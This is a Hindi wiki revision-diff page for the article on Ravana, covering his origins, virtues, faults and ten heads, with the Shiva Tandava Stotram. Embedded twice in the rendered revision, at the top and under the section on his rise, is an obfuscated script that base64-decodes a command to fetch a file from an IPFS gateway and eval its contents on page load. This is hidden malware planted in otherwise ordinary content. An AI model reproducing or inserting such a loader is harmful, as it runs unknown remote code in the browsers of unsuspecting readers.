"रावण" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
 
(१० सदस्यों द्वारा किये गये बीच के ३७ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
{{menu}}<br />
+
{{menu}}
==रावण / Ravana==
+
'''रावण / [[:en:Ravana|Ravana]]'''<br />
[[चित्र:Ravana-Ramlila-Mathura-2.jpg|thumb|250|दशानन रावण, [[रामलीला]], [[मथुरा]]]]
+
[[चित्र:Ravana-Ramlila-Mathura-2.jpg|thumb|250px|दशानन रावण, [[रामलीला]], [[मथुरा]]<br /> Ravana, Ramlila, Mathura]]
रावण [[रामायण]] का एक विशेष पात्र है । रावण लंका का राजा था । वह अपने दस सिरों के कारण भी जाना जाता था (साधारण से दस गुणा अधिक मस्तिष्क शक्ति), जिसके कारण उसका नाम दशानन (दश = दस + आनन = मुख) भी था । किसी भी कृति के लिये अच्छे पात्रों के साथ ही साथ बुरे पात्रों का होना अति आवश्यक है । किन्तु रावण में अवगुण की अपेक्षा गुण अधिक थे । जीतने वाला हमेशा अपने को उत्तम लिखता है, अतः रावण को बुरा कहा गया है । रावण को चारों [[वेदों]] का ज्ञाता कहा गया है । संगीत के क्षेत्र में भी रावण की विद्वता अपने समय में अद्वितीय मानी जाती है । बेला नामक वाद्य जिसे अंग्रेज़ी में वायलिन कहते हैं, रावण ने ही बनाया था।
+
रावण [[रामायण]] का एक विशेष पात्र है। रावण लंका का राजा था। वह अपने दस सिरों के कारण भी जाना जाता था (साधारण से दस गुणा अधिक मस्तिष्क शक्ति), जिसके कारण उसका नाम दशानन (दश = दस + आनन = मुख) भी था। किसी भी कृति के लिये अच्छे पात्रों के साथ ही साथ बुरे पात्रों का होना अति आवश्यक है। किन्तु रावण में अवगुण की अपेक्षा गुण अधिक थे। जीतने वाला हमेशा अपने को उत्तम लिखता है, अतः रावण को बुरा कहा गया है। रावण को चारों [[वेदों]] का ज्ञाता कहा गया है। संगीत के क्षेत्र में भी रावण की विद्वता अपने समय में अद्वितीय मानी जाती है। बेला नामक वाद्य जिसे अंग्रेज़ी में वायलिन कहते हैं, रावण ने ही बनाया था।
 
==तथ्य==
 
==तथ्य==
*रावण [[शिव]] भक्त था । कैलास (कैलाश) पर्वत को उठाने की कथा की मूर्ति [[मथुरा]] में मिली है ।
+
*रावण [[शिव]] भक्त था। [[कैलाश पर्वत]] को उठाने की कथा की मूर्ति [[मथुरा]] में मिली है।
*रामकथा में रावण ऐसा पात्र है, जो [[राम]] के उज्ज्वल चरित्र को उभारने काम करता है ।
+
*रामकथा में रावण ऐसा पात्र है, जो [[राम]] के उज्ज्वल चरित्र को उभारने का काम करता है।
*रावण ने राम की पत्नी [[सीता]] का हरण किया था । राम ने रावण को युद्ध में मार कर सीता को छुड़ाया ।
+
*रावण ने राम की पत्नी [[सीता]] का हरण किया था। राम ने रावण को युद्ध में मार कर सीता को छुड़ाया।
----
+
*रावण रामायण का एक विशेष पात्र है। किसी भी कृति के लिये अच्छे पात्रों के साथ ही साथ बुरे पात्रों का होना अति आवश्यक है। किन्तु रावण में अवगुण की अपेक्षा गुण अधिक थे। यदि रावण न होता तो रामायण की रचना भी न हो पाती। देखा जाये तो रामकथा में रावण ही ऐसा पात्र है, जो राम के उज्वल चरित्र को उभारने काम करता है।
रावण रामायण का एक विशेष पात्र है। किसी भी कृति के लिये अच्छे पात्रों के साथ ही साथ बुरे पात्रों का होना अति आवश्यक है। किन्तु रावण में अवगुण की अपेक्षा गुण अधिक थे। यदि रावण न होता तो रामायण की रचना भी न हो पाती। देखा जाये तो रामकथा में रावण ही ऐसा पात्र है, जो राम के उज्वल चरित्र को उभारने काम करता है।
 
 
==रावण का उदय==
 
==रावण का उदय==
 +
{{tocright}}
 
[[पद्म पुराण]], [[भागवत पुराण|श्रीमद्भागवत पुराण]], [[कूर्म पुराण]], [[रामायण]], [[महाभारत]], [[आनन्द रामायण]], [[दशावतारचरित]] आदि ग्रंथों में रावण का उल्लेख हुआ है। रावण के उदय के विषय में भिन्न-भिन्न ग्रंथों में भिन्न-भिन्न प्रकार के उल्लेख मिलते हैं।
 
[[पद्म पुराण]], [[भागवत पुराण|श्रीमद्भागवत पुराण]], [[कूर्म पुराण]], [[रामायण]], [[महाभारत]], [[आनन्द रामायण]], [[दशावतारचरित]] आदि ग्रंथों में रावण का उल्लेख हुआ है। रावण के उदय के विषय में भिन्न-भिन्न ग्रंथों में भिन्न-भिन्न प्रकार के उल्लेख मिलते हैं।
*पद्मपुराण तथा श्रीमद्भागवत पुराण के अनुसार [[हिरण्याक्ष]] एवं [[हिरण्यकश्यप]] दूसरे जन्म में रावण और [[कुंभकर्ण]] के रूप में पैदा हुए।
+
*पद्मपुराण तथा श्रीमद्भागवत पुराण के अनुसार [[हिरण्याक्ष]] एवं [[हिरण्यकशिपु]] दूसरे जन्म में रावण और [[कुंभकर्ण]] के रूप में पैदा हुए।
*[[वाल्मीकि रामायण]] के अनुसार रावण [[पुलस्त्य]] मुनि का पोता था अर्थात उनके पुत्र [[विश्वश्रवा]] का पुत्र था। विश्वश्रवा की [[वरवर्णिनी]] और [[कैकसी]] नामक दो पत्नियां थी। वरवर्णिनी के [[कुबेर]] को जन्म देने पर सौतिया डाह वश कैकसी ने कुबेला में गर्भ धारण किया। इसी कारण से उसके गर्भ से रावण तथा कुम्भकर्ण जैसे क्रूर स्वभाव वाले भयंकर राक्षस उत्पन्न हुये।
+
*[[वाल्मीकि रामायण]] के अनुसार रावण [[पुलस्त्य]] मुनि का पोता था अर्थात उनके पुत्र [[विश्वश्रवा]] का पुत्र था। विश्वश्रवा की [[वरवर्णिनी]] और [[कैकसी]] नामक दो पत्नियां थी। वरवर्णिनी के [[कुबेर]] को जन्म देने पर सौतिया डाह वश कैकसी ने कुबेला में गर्भ धारण किया। इसी कारण से उसके गर्भ से रावण तथा [[कुम्भकर्ण]] जैसे क्रूर स्वभाव वाले भयंकर राक्षस उत्पन्न हुये।
*[[तुलसीदास]] जी के [[रामचरितमानस]] में रावण का जन्म शाप के कारण हुआ था। वे [[नारद]] एवं प्रतापभानु की कथाओं को रावण के जन्म कारण बताते हैं।
+
*[[तुलसीदास]] जी के [[रामचरितमानस]] में रावण का जन्म शाप के कारण हुआ था। वे [[नारद]] एवं प्रताप भानु की कथाओं को रावण के जन्म कारण बताते हैं।
 
==रावण के गुण==
 
==रावण के गुण==
 
*रावण मे कितना ही राक्षसत्व क्यों न हो, उसके गुणों विस्मृत नहीं किया जा सकता। रावण एक अति बुद्धिमान ब्राह्मण तथा [[शंकर]] भगवान का बहुत बड़ा भक्त था। वह महा तेजस्वी, प्रतापी, पराक्रमी, रूपवान तथा विद्वान था।
 
*रावण मे कितना ही राक्षसत्व क्यों न हो, उसके गुणों विस्मृत नहीं किया जा सकता। रावण एक अति बुद्धिमान ब्राह्मण तथा [[शंकर]] भगवान का बहुत बड़ा भक्त था। वह महा तेजस्वी, प्रतापी, पराक्रमी, रूपवान तथा विद्वान था।
*वाल्मीकि उसके गुणों को निष्पक्षता के साथ स्वीकार करते हुये उसे चारों वेदों का विश्वविख्यात ज्ञाता और महान विद्वान बताते हैं। वे अपने रामायण में [[हनुमान]] का रावण के दरबार में प्रवेश के समय लिखते हैं-<br />
+
*[[वाल्मीकि]] उसके गुणों को निष्पक्षता के साथ स्वीकार करते हुये उसे चारों वेदों का विश्वविख्यात ज्ञाता और महान विद्वान बताते हैं। वे अपने रामायण में [[हनुमान]] का रावण के दरबार में प्रवेश के समय लिखते हैं-<br />
अहो रूपमहो धैर्यमहोत्सवमहो द्युति:।<br />
+
<blockquote>अहो रूपमहो धैर्यमहोत्सवमहो द्युति:।<br />
अहो राक्षसराजस्य सर्वलक्षणयुक्तता॥<br />
+
अहो राक्षसराजस्य सर्वलक्षणयुक्तता॥</blockquote>
आगे वे लिखते हैं "रावण को देखते ही [[राम]] मुग्ध हो जाते हैं और कहते हैं कि रूप, सौन्दर्य, धैर्य, कान्ति तथा सर्वलक्षणयुक्त होने पर भी यदि इस रावण में अधर्म बलवान न होता तो यह देवलोक का भी स्वामी बन जाता।"
+
*आगे वे लिखते हैं "रावण को देखते ही [[राम]] मुग्ध हो जाते हैं और कहते हैं कि रूप, सौन्दर्य, धैर्य, कान्ति तथा सर्व लक्षणयुक्त होने पर भी यदि इस रावण में अधर्म बलवान न होता तो यह देवलोक का भी स्वामी बन जाता।"
*रावण जहाँ दुष्ट था और पापी था वहीं उसमें शिष्टाचार और ऊँचे आदर्श वाली मर्यादायें भी थीं। राम के वियोग में दुःखी [[सीता]] से रावण ने कहा है, "हे सीते! यदि तुम मेरे प्रति काम भाव नहीं रखती तो मैं तुझे स्पर्श नहीं कर सकता।" शास्त्रों के अनुसार वन्ध्या, रजस्वला, अकामा आदि स्त्री को स्पर्श करने का निषेष है अतः अपने प्रति अकामा सीता को स्पर्श न करके रावण मर्यादा का ही आचरण करता है।
+
*रावण जहाँ दुष्ट था और पापी था वहीं उसमें शिष्टाचार और ऊँचे आदर्श वाली मर्यादायें भी थीं। राम के वियोग में दुःखी [[सीता]] से रावण ने कहा है, "हे सीते! यदि तुम मेरे प्रति काम भाव नहीं रखती तो मैं तुझे स्पर्श नहीं कर सकता।" शास्त्रों के अनुसार वन्ध्या, रजस्वला, अकामा आदि स्त्री को स्पर्श करने का निषेध है अतः अपने प्रति अकामा सीता को स्पर्श न करके रावण मर्यादा का ही आचरण करता है।
 
*वाल्मीकि रामायण और रामचरितमानस दोनों ही ग्रंथों में रावण को बहुत महत्त्व दिया गया है। राक्षसी माता और ऋषि पिता की सन्तान होने के कारण सदैव दो परस्पर विरोधी तत्त्व रावण के अन्तःकरण को मथते रहते हैं।
 
*वाल्मीकि रामायण और रामचरितमानस दोनों ही ग्रंथों में रावण को बहुत महत्त्व दिया गया है। राक्षसी माता और ऋषि पिता की सन्तान होने के कारण सदैव दो परस्पर विरोधी तत्त्व रावण के अन्तःकरण को मथते रहते हैं।
 
==रावण के अवगुण==
 
==रावण के अवगुण==
*वाल्मीकि रावण के अधर्मी होने को उसका मुख्य अवगुण मानते हैं। उनके रामायण में रावण के वध होने पर [[मन्दोदरी]] विलाप करते हुये कहती है, "अनेक यज्ञों का विलोप करने वाले, धर्म व्यवस्थाओं को तोड़ने वाले, देव-असुर और मनुष्यों की कन्याओं का जहाँ तहाँ से हरण करने वाले! आज तू अपने इन पाप कर्मों के कारण ही वध को प्राप्त हुआ है।"
+
[[चित्र:Ravana-Ramlila-Mathura-9.jpg|रावण दहन, [[रामलीला]], [[मथुरा]]<br /> Ravana Dahan, Ramlila, Mathura|thumb|200px]]
*तुलसी दास जी केवल उसके अहंकार को ही उसका मुख्य अवगुण बताते हैं। उन्होंने रावण को बाहरी तौर से राम से शत्रु भाव रखते हुये हृदय से उनका भक्त बताया है। तुलसीदास के अनुसार रावण सोचता है कि यदि स्वयं भगवान ने अवतार लिया है तो मैं जाकर उनसे हठपूर्वक बैर करूंगा और प्रभु के बाण के आघात से प्राण छोड़कर भव-बन्धन से मुक्त हो जाऊंगा।
+
*वाल्मीकि रावण के अधर्मी होने को उसका मुख्य अवगुण मानते हैं। उनके रामायण में रावण के वध होने पर [[मन्दोदरी]] विलाप करते हुये कहती है, "अनेक यज्ञों का विलोप करने वाले, धर्म व्यवस्थाओं को तोड़ने वाले, देव-असुर और मनुष्यों की कन्याओं का जहाँ-तहाँ से हरण करने वाले! आज तू अपने इन पाप कर्मों के कारण ही वध को प्राप्त हुआ है।"
 +
*[[तुलसीदास]] जी केवल उसके अहंकार को ही उसका मुख्य अवगुण बताते हैं। उन्होंने रावण को बाहरी तौर से राम से शत्रु भाव रखते हुये हृदय से उनका भक्त बताया है। तुलसीदास के अनुसार रावण सोचता है कि यदि स्वयं भगवान ने अवतार लिया है तो मैं जाकर उनसे हठ पूर्वक बैर करूंगा और प्रभु के बाण के आघात से प्राण छोड़कर भव-बन्धन से मुक्त हो जाऊंगा।
 +
 
 
==रावण के दस सिर==
 
==रावण के दस सिर==
रावण के दस सिर होने की चर्चा रामायण में आती है। वह कृष्णपक्ष की अमावस्या को युद्ध के लिये चला था तथा एक-एक दिन क्रमशः एक-एक सिर कटते हैं। इस तरह दसवें दिन अर्थात शुक्लपक्ष की दशमी को रावण का वध होता है। रामचरितमानस में यह भी वर्णन आता है कि जिस सिर को राम अपने बाण से काट देते हैं पुनः उसके स्थान पर दूसरा सिर उभर आता था। विचार करने की बात है कि क्या एक अंग के कट जाने पर वहाँ पुनः नया अंग उत्पन्न हो सकता है? वस्तुतः रावण के ये सिर कृत्रिम थे - आसुरी माया से बने हुये। [[मारीच]] का चाँदी के बिन्दुओं से युक्त स्वर्ण मृग बन जाना, रावण का सीता के समक्ष राम का कटा हुआ सिर रखना आदि से सिद्ध होता है कि राक्षस मायावी थे। वे अनेक प्रकार के इन्द्रजाल (जादू) जानते थे। तो रावण के दस सिर और बीस हाथों को भी कृत्रिम माना जा सकता है।
+
रावण के दस सिर होने की चर्चा रामायण में आती है। वह कृष्णपक्ष की अमावस्या को युद्ध के लिये चला था तथा एक-एक दिन क्रमशः एक-एक सिर कटते हैं। इस तरह दसवें दिन अर्थात शुक्लपक्ष की दशमी को रावण का वध होता है। रामचरितमानस में यह भी वर्णन आता है कि जिस सिर को राम अपने बाण से काट देते हैं पुनः उसके स्थान पर दूसरा सिर उभर आता था। विचार करने की बात है कि क्या एक अंग के कट जाने पर वहाँ पुनः नया अंग उत्पन्न हो सकता है? वस्तुतः रावण के ये सिर कृत्रिम थे- आसुरी माया से बने हुये। [[मारीच]] का चाँदी के बिन्दुओं से युक्त स्वर्ण मृग बन जाना, रावण का सीता के समक्ष राम का कटा हुआ सिर रखना आदि से सिद्ध होता है कि राक्षस मायावी थे। वे अनेक प्रकार के इन्द्रजाल (जादू) जानते थे। तो रावण के दस सिर और बीस हाथों को भी कृत्रिम माना जा सकता है।
 +
==शिवताण्डवस्तोत्रम्==
 +
{|
 +
|-
 +
| style="background-color:#FFFCF0;border:1px solid black; padding:10px;" valign="top" |
 +
जटाटवी-गलज्जल-प्रवाह-पावित-स्थले<br />
 +
गलेऽव-लम्ब्य-लम्बितां-भुजङ्ग-तुङ्ग-मालिकाम्<br />
 +
डमड्डमड्डमड्डम-न्निनादव-ड्डमर्वयं<br />
 +
चकार-चण्ड्ताण्डवं-तनोतु-नः शिवः शिवम् .. 1..
 +
 
 +
जटा-कटा-हसं-भ्रम भ्रमन्नि-लिम्प-निर्झरी-<br />
 +
-विलोलवी-चिवल्लरी-विराजमान-मूर्धनि <br />
 +
धगद्धगद्धग-ज्ज्वल-ल्ललाट-पट्ट-पावके<br />
 +
किशोरचन्द्रशेखरे रतिः प्रतिक्षणं मम .. 2..<br />
 +
 
 +
धरा-धरेन्द्र-नंदिनी विलास-बन्धु-बन्धुर<br />
 +
स्फुर-द्दिगन्त-सन्तति प्रमोद-मान-मानसे<br />
 +
कृपा-कटाक्ष-धोरणी-निरुद्ध-दुर्धरापदि<br />
 +
क्वचि-द्दिगम्बरे-मनो विनोदमेतु वस्तुनि .. 3..
 +
 
 +
जटा-भुजङ्ग-पिङ्गल-स्फुरत्फणा-मणि प्रभा<br />
 +
कदम्ब-कुङ्कुम-द्रव प्रलिप्त-दिग्व-धूमुखे<br />
 +
मदान्ध-सिन्धुर-स्फुरत्त्व-गुत्तरी-यमे-दुरे<br />
 +
मनो विनोदमद्भुतं-बिभर्तु-भूतभर्तरि .. 4..
 +
 
 +
सहस्र लोचन प्रभृत्य-शेष-लेख-शेखर<br />
 +
प्रसून-धूलि-धोरणी-विधू-सराङ्घ्रि-पीठभूः<br />
 +
भुजङ्गराज-मालया-निबद्ध-जाटजूटक:<br />
 +
श्रियै-चिराय-जायतां चकोर-बन्धु-शेखरः .. 5..
 +
 
 +
ललाट-चत्वर-ज्वलद्धनञ्जय-स्फुलिङ्गभा-<br />
 +
निपीत-पञ्च-सायकं-नमन्नि-लिम्प-नायकम्<br />
 +
सुधा-मयूख-लेखया-विराजमान-शेखरं<br />
 +
महाकपालि-सम्पदे-शिरो-जटाल-मस्तुनः .. 6..
 +
 
 +
कराल-भाल-पट्टिका-धगद्धगद्धग-ज्ज्वल<br />
 +
द्धनञ्ज-याहुतीकृत-प्रचण्डपञ्च-सायके<br />
 +
धरा-धरेन्द्र-नन्दिनी-कुचाग्रचित्र-पत्रक<br />
 +
-प्रकल्प-नैकशिल्पिनि-त्रिलोचने-रतिर्मम … 7..
 +
 
 +
नवीन-मेघ-मण्डली-निरुद्ध-दुर्धर-स्फुरत्<br />
 +
कुहू-निशी-थिनी-तमः प्रबन्ध-बद्ध-कन्धरः<br />
 +
निलिम्प-निर्झरी-धरस्त-नोतु कृत्ति-सिन्धुरः<br />
 +
कला-निधान-बन्धुरः श्रियं जगद्धुरंधरः .. 8..
 +
 
 +
प्रफुल्ल-नीलपङ्कज-प्रपञ्च-कालिमप्रभा-<br />
 +
-वलम्बि-कण्ठ-कन्दली-रुचिप्रबद्ध-कन्धरम् .<br />
 +
स्मरच्छिदं पुरच्छिदं भवच्छिदं मखच्छिदं<br />
 +
गजच्छिदांधकछिदं तमंतक-च्छिदं भजे .. 9..
 +
 
 +
अखर्व सर्व-मङ्ग-लाकला-कदंबमञ्जरी<br />
 +
रस-प्रवाह-माधुरी विजृंभणा-मधुव्रतम्<br />
 +
स्मरान्तकं पुरान्तकं भवान्तकं मखान्तकं<br />
 +
गजान्त-कान्ध-कान्तकं तमन्तकान्तकं भजे .. 10..
 +
 
 +
जयत्व-दभ्र-विभ्र-म-भ्रमद्भुजङ्ग-मश्वस-<br />
 +
द्विनिर्गमत्क्रम-स्फुरत्कराल-भाल-हव्यवाट्<br />
 +
धिमिद्धिमिद्धिमिध्वनन्मृदङ्ग-तुङ्ग-मङ्गल<br />
 +
ध्वनि-क्रम-प्रवर्तित प्रचण्डताण्डवः शिवः .. 11..
 +
 
 +
दृष-द्विचित्र-तल्पयोर्भुजङ्ग-मौक्ति-कस्रजोर्<br />
 +
-गरिष्ठरत्नलोष्ठयोः सुहृद्वि-पक्षपक्षयोः<br />
 +
तृष्णार-विन्द-चक्षुषोः प्रजा-मही-महेन्द्रयोः<br />
 +
समप्रवृतिकः कदा सदाशिवं भजे .. 12..
 +
 
 +
कदा निलिम्प-निर्झरीनिकुञ्ज-कोटरे वसन्<br />
 +
विमुक्त-दुर्मतिः सदा शिरःस्थ-मञ्जलिं वहन् .<br />
 +
विमुक्त-लोल-लोचनो ललाम-भाललग्नकः<br />
 +
शिवेति मन्त्र-मुच्चरन् कदा सुखी भवाम्यहम् .. 13..
 +
 
 +
इदम् हि नित्य-मेव-मुक्तमुत्तमोत्तमं स्तवं<br />
 +
पठन्स्मरन्ब्रुवन्नरो विशुद्धि-मेति-संततम्<br />
 +
हरे गुरौ सुभक्ति-माशु याति नान्यथा गतिं<br />
 +
विमोहनं हि देहिनां सुशङ्करस्य चिंतनम् .. 14..
 +
 
 +
पूजावसानसमये दशवक्त्रगीतं यः<br />
 +
शंभुपूजनपरं पठति प्रदोषे<br />
 +
तस्य स्थिरां रथगजेन्द्रतुरङ्गयुक्तां<br />
 +
लक्ष्मीं सदैव सुमुखिं प्रददाति शंभुः .. 15..
 +
|-
 +
|}
  
<gallery>
+
==वीथिका==
चित्र:Ravana-Ramlila-Mathura-12.jpg|रावण, रामलीला, [[मथुरा]]
+
<gallery widths="145px" perrow="4">
चित्र:Sita-Haran-Ramlila-Mathura-5.jpg|[[सीता]] हरण रामलीला, [[मथुरा]]
+
चित्र:Ravana-Ramlila-Mathura-12.jpg|रावण, [[रामलीला]], [[मथुरा]]<br /> Ravana, Ramlila, Mathura
चित्र:Ramlila-Mathura-7.jpg|[[राम]] रावण युद्ध रामलीला, [[मथुरा]]
+
चित्र:Sita-Haran-Ramlila-Mathura-5.jpg|[[सीता]] हरण, [[रामलीला]], [[मथुरा]]<br /> Kidnapping of Sita, Ramlila, Mathura
चित्र:Ravana-Ramlila-Mathura-8.jpg|रावण दहन, रामलीला, [[मथुरा]]
+
चित्र:Ramlila-Mathura-7.jpg|[[राम]] रावण युद्ध [[रामलीला]], [[मथुरा]]<br /> Ram Ravana Battle, Ramlila, Mathura
 +
चित्र:Ravana-Ramlila-Mathura-8.jpg|रावण दहन, [[रामलीला]], [[मथुरा]]<br /> Ravana Dahan, Ramlila, Mathura
 
</gallery>
 
</gallery>
  
 +
==अन्य लिंक==
  
[[श्रेणी: कोश]]
 
[[श्रेणी:रामायण]]
 
[[category:हिन्दू]] 
 
[[category:पौराणिक]]
 
<br />
 
 
{{रामायण}}
 
{{रामायण}}
 +
[[en:Ravana]]
 +
[[Category: कोश]]
 +
[[Category:रामायण]]
 +
[[Category:हिन्दू धर्म]] 
 +
[[Category:पौराणिक]]
 +
 +
__INDEX__

१३:३५, ११ सितम्बर २०१० के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

रावण / Ravana

दशानन रावण, रामलीला, मथुरा
Ravana, Ramlila, Mathura

रावण रामायण का एक विशेष पात्र है। रावण लंका का राजा था। वह अपने दस सिरों के कारण भी जाना जाता था (साधारण से दस गुणा अधिक मस्तिष्क शक्ति), जिसके कारण उसका नाम दशानन (दश = दस + आनन = मुख) भी था। किसी भी कृति के लिये अच्छे पात्रों के साथ ही साथ बुरे पात्रों का होना अति आवश्यक है। किन्तु रावण में अवगुण की अपेक्षा गुण अधिक थे। जीतने वाला हमेशा अपने को उत्तम लिखता है, अतः रावण को बुरा कहा गया है। रावण को चारों वेदों का ज्ञाता कहा गया है। संगीत के क्षेत्र में भी रावण की विद्वता अपने समय में अद्वितीय मानी जाती है। बेला नामक वाद्य जिसे अंग्रेज़ी में वायलिन कहते हैं, रावण ने ही बनाया था।

तथ्य

  • रावण शिव भक्त था। कैलाश पर्वत को उठाने की कथा की मूर्ति मथुरा में मिली है।
  • रामकथा में रावण ऐसा पात्र है, जो राम के उज्ज्वल चरित्र को उभारने का काम करता है।
  • रावण ने राम की पत्नी सीता का हरण किया था। राम ने रावण को युद्ध में मार कर सीता को छुड़ाया।
  • रावण रामायण का एक विशेष पात्र है। किसी भी कृति के लिये अच्छे पात्रों के साथ ही साथ बुरे पात्रों का होना अति आवश्यक है। किन्तु रावण में अवगुण की अपेक्षा गुण अधिक थे। यदि रावण न होता तो रामायण की रचना भी न हो पाती। देखा जाये तो रामकथा में रावण ही ऐसा पात्र है, जो राम के उज्वल चरित्र को उभारने काम करता है।

रावण का उदय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पद्म पुराण, श्रीमद्भागवत पुराण, कूर्म पुराण, रामायण, महाभारत, आनन्द रामायण, दशावतारचरित आदि ग्रंथों में रावण का उल्लेख हुआ है। रावण के उदय के विषय में भिन्न-भिन्न ग्रंथों में भिन्न-भिन्न प्रकार के उल्लेख मिलते हैं।

रावण के गुण

  • रावण मे कितना ही राक्षसत्व क्यों न हो, उसके गुणों विस्मृत नहीं किया जा सकता। रावण एक अति बुद्धिमान ब्राह्मण तथा शंकर भगवान का बहुत बड़ा भक्त था। वह महा तेजस्वी, प्रतापी, पराक्रमी, रूपवान तथा विद्वान था।
  • वाल्मीकि उसके गुणों को निष्पक्षता के साथ स्वीकार करते हुये उसे चारों वेदों का विश्वविख्यात ज्ञाता और महान विद्वान बताते हैं। वे अपने रामायण में हनुमान का रावण के दरबार में प्रवेश के समय लिखते हैं-

अहो रूपमहो धैर्यमहोत्सवमहो द्युति:।
अहो राक्षसराजस्य सर्वलक्षणयुक्तता॥

  • आगे वे लिखते हैं "रावण को देखते ही राम मुग्ध हो जाते हैं और कहते हैं कि रूप, सौन्दर्य, धैर्य, कान्ति तथा सर्व लक्षणयुक्त होने पर भी यदि इस रावण में अधर्म बलवान न होता तो यह देवलोक का भी स्वामी बन जाता।"
  • रावण जहाँ दुष्ट था और पापी था वहीं उसमें शिष्टाचार और ऊँचे आदर्श वाली मर्यादायें भी थीं। राम के वियोग में दुःखी सीता से रावण ने कहा है, "हे सीते! यदि तुम मेरे प्रति काम भाव नहीं रखती तो मैं तुझे स्पर्श नहीं कर सकता।" शास्त्रों के अनुसार वन्ध्या, रजस्वला, अकामा आदि स्त्री को स्पर्श करने का निषेध है अतः अपने प्रति अकामा सीता को स्पर्श न करके रावण मर्यादा का ही आचरण करता है।
  • वाल्मीकि रामायण और रामचरितमानस दोनों ही ग्रंथों में रावण को बहुत महत्त्व दिया गया है। राक्षसी माता और ऋषि पिता की सन्तान होने के कारण सदैव दो परस्पर विरोधी तत्त्व रावण के अन्तःकरण को मथते रहते हैं।

रावण के अवगुण

रावण दहन, रामलीला, मथुरा
Ravana Dahan, Ramlila, Mathura
  • वाल्मीकि रावण के अधर्मी होने को उसका मुख्य अवगुण मानते हैं। उनके रामायण में रावण के वध होने पर मन्दोदरी विलाप करते हुये कहती है, "अनेक यज्ञों का विलोप करने वाले, धर्म व्यवस्थाओं को तोड़ने वाले, देव-असुर और मनुष्यों की कन्याओं का जहाँ-तहाँ से हरण करने वाले! आज तू अपने इन पाप कर्मों के कारण ही वध को प्राप्त हुआ है।"
  • तुलसीदास जी केवल उसके अहंकार को ही उसका मुख्य अवगुण बताते हैं। उन्होंने रावण को बाहरी तौर से राम से शत्रु भाव रखते हुये हृदय से उनका भक्त बताया है। तुलसीदास के अनुसार रावण सोचता है कि यदि स्वयं भगवान ने अवतार लिया है तो मैं जाकर उनसे हठ पूर्वक बैर करूंगा और प्रभु के बाण के आघात से प्राण छोड़कर भव-बन्धन से मुक्त हो जाऊंगा।

रावण के दस सिर

रावण के दस सिर होने की चर्चा रामायण में आती है। वह कृष्णपक्ष की अमावस्या को युद्ध के लिये चला था तथा एक-एक दिन क्रमशः एक-एक सिर कटते हैं। इस तरह दसवें दिन अर्थात शुक्लपक्ष की दशमी को रावण का वध होता है। रामचरितमानस में यह भी वर्णन आता है कि जिस सिर को राम अपने बाण से काट देते हैं पुनः उसके स्थान पर दूसरा सिर उभर आता था। विचार करने की बात है कि क्या एक अंग के कट जाने पर वहाँ पुनः नया अंग उत्पन्न हो सकता है? वस्तुतः रावण के ये सिर कृत्रिम थे- आसुरी माया से बने हुये। मारीच का चाँदी के बिन्दुओं से युक्त स्वर्ण मृग बन जाना, रावण का सीता के समक्ष राम का कटा हुआ सिर रखना आदि से सिद्ध होता है कि राक्षस मायावी थे। वे अनेक प्रकार के इन्द्रजाल (जादू) जानते थे। तो रावण के दस सिर और बीस हाथों को भी कृत्रिम माना जा सकता है।

शिवताण्डवस्तोत्रम्

जटाटवी-गलज्जल-प्रवाह-पावित-स्थले
गलेऽव-लम्ब्य-लम्बितां-भुजङ्ग-तुङ्ग-मालिकाम्
डमड्डमड्डमड्डम-न्निनादव-ड्डमर्वयं
चकार-चण्ड्ताण्डवं-तनोतु-नः शिवः शिवम् .. 1..

जटा-कटा-हसं-भ्रम भ्रमन्नि-लिम्प-निर्झरी-
-विलोलवी-चिवल्लरी-विराजमान-मूर्धनि
धगद्धगद्धग-ज्ज्वल-ल्ललाट-पट्ट-पावके
किशोरचन्द्रशेखरे रतिः प्रतिक्षणं मम .. 2..

धरा-धरेन्द्र-नंदिनी विलास-बन्धु-बन्धुर
स्फुर-द्दिगन्त-सन्तति प्रमोद-मान-मानसे
कृपा-कटाक्ष-धोरणी-निरुद्ध-दुर्धरापदि
क्वचि-द्दिगम्बरे-मनो विनोदमेतु वस्तुनि .. 3..

जटा-भुजङ्ग-पिङ्गल-स्फुरत्फणा-मणि प्रभा
कदम्ब-कुङ्कुम-द्रव प्रलिप्त-दिग्व-धूमुखे
मदान्ध-सिन्धुर-स्फुरत्त्व-गुत्तरी-यमे-दुरे
मनो विनोदमद्भुतं-बिभर्तु-भूतभर्तरि .. 4..

सहस्र लोचन प्रभृत्य-शेष-लेख-शेखर
प्रसून-धूलि-धोरणी-विधू-सराङ्घ्रि-पीठभूः
भुजङ्गराज-मालया-निबद्ध-जाटजूटक:
श्रियै-चिराय-जायतां चकोर-बन्धु-शेखरः .. 5..

ललाट-चत्वर-ज्वलद्धनञ्जय-स्फुलिङ्गभा-
निपीत-पञ्च-सायकं-नमन्नि-लिम्प-नायकम्
सुधा-मयूख-लेखया-विराजमान-शेखरं
महाकपालि-सम्पदे-शिरो-जटाल-मस्तुनः .. 6..

कराल-भाल-पट्टिका-धगद्धगद्धग-ज्ज्वल
द्धनञ्ज-याहुतीकृत-प्रचण्डपञ्च-सायके
धरा-धरेन्द्र-नन्दिनी-कुचाग्रचित्र-पत्रक
-प्रकल्प-नैकशिल्पिनि-त्रिलोचने-रतिर्मम … 7..

नवीन-मेघ-मण्डली-निरुद्ध-दुर्धर-स्फुरत्
कुहू-निशी-थिनी-तमः प्रबन्ध-बद्ध-कन्धरः
निलिम्प-निर्झरी-धरस्त-नोतु कृत्ति-सिन्धुरः
कला-निधान-बन्धुरः श्रियं जगद्धुरंधरः .. 8..

प्रफुल्ल-नीलपङ्कज-प्रपञ्च-कालिमप्रभा-
-वलम्बि-कण्ठ-कन्दली-रुचिप्रबद्ध-कन्धरम् .
